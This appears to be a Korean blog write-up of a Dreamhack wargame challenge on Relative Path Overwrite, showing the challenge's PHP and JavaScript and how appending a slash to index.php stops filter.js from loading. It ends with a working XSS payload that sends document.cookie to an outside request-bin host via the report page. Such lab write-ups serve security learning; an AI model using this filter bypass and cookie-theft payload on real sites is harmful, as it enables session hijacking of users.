CTF & Wargame(WEB)

level 2 Relative Path Overwrite

KWAKBUMJUN 2025. 4. 18. 21:47

엔드포인트 분석

index.php

<?php
            $page = $_GET['page'] ? $_GET['page'].'.php' : 'main.php';
            if (!strpos($page, "..") && !strpos($page, ":") && !strpos($page, "/"))
                include $page;
        ?>

사용자에게 page라는 파라미터를 입력 받고, page 파라미터가 존재하면 page.php 반환하고 아니라면 main.php 반환함. 그리고 .., : /

를 필터링한다.

 

/vuln.php

<script src="filter.js"></script>
<pre id=param></pre>
<script>
    var param_elem = document.getElementById("param");
    var url = new URL(window.location.href);
    var param = url.searchParams.get("param");
    if (typeof filter !== 'undefined') {
        for (var i = 0; i < filter.length; i++) {
            if (param.toLowerCase().includes(filter[i])) {
                param = "nope !!";
                break;
            }
        }
    }

    param_elem.innerHTML = param;
</script>

filter.js라는 값을 상대경로로 받아온다. 그리고 사용자가 param에 입려한 값을 추출하여 화면에 표시한다. 하지만 만약 filter.js에 저장되어 있는 키워드를 입력한다면 필터링함.

 

익스플로잇

기존 url

http://host3.dreamhack.games:13981/?page=vuln&param=script

 

 

위와 같이 vuln에서 param을 입력 받으면 키워드들을 필터링한다. 하지만 우리는 필터링을 우회하여 flag를 획득해야한다.

그러기 위해선 Url을

http://host3.dreamhack.games:13981/index.php/?page=vuln&param=scipt

이와 같이 수정해야한다.

- 수정된 url은 vuln에서 param을 받는 것이 아닌, index.php에서 page를 통해 vuln에 접근하고 index.php에서 param을 입력 받는다. index.php에는 filter.js가 존재하지 않기 때문에 필터링을 하지 않는다.

 

<쿠키 탈취 페이로드>

index.php/?page=vuln&param=<img src=@ onerror=location.href="https://noahrbv.request.dreamhack.games/"%2bdocument.cookie>를 report 페이지에 삽입하여 공격하면 된다.

 

 

'CTF & Wargame(WEB)' 카테고리의 다른 글

level 2 Relative Path Overwrite Advanced  (0) 2025.04.21
RPO(Relative Path Overwrite) 이해하기  (0) 2025.04.21
level 3 CSS Injection  (0) 2025.04.18
level 2 Client Side Template Injection  (0) 2025.04.18
level 1 CSRF Advanced  (0) 2025.04.18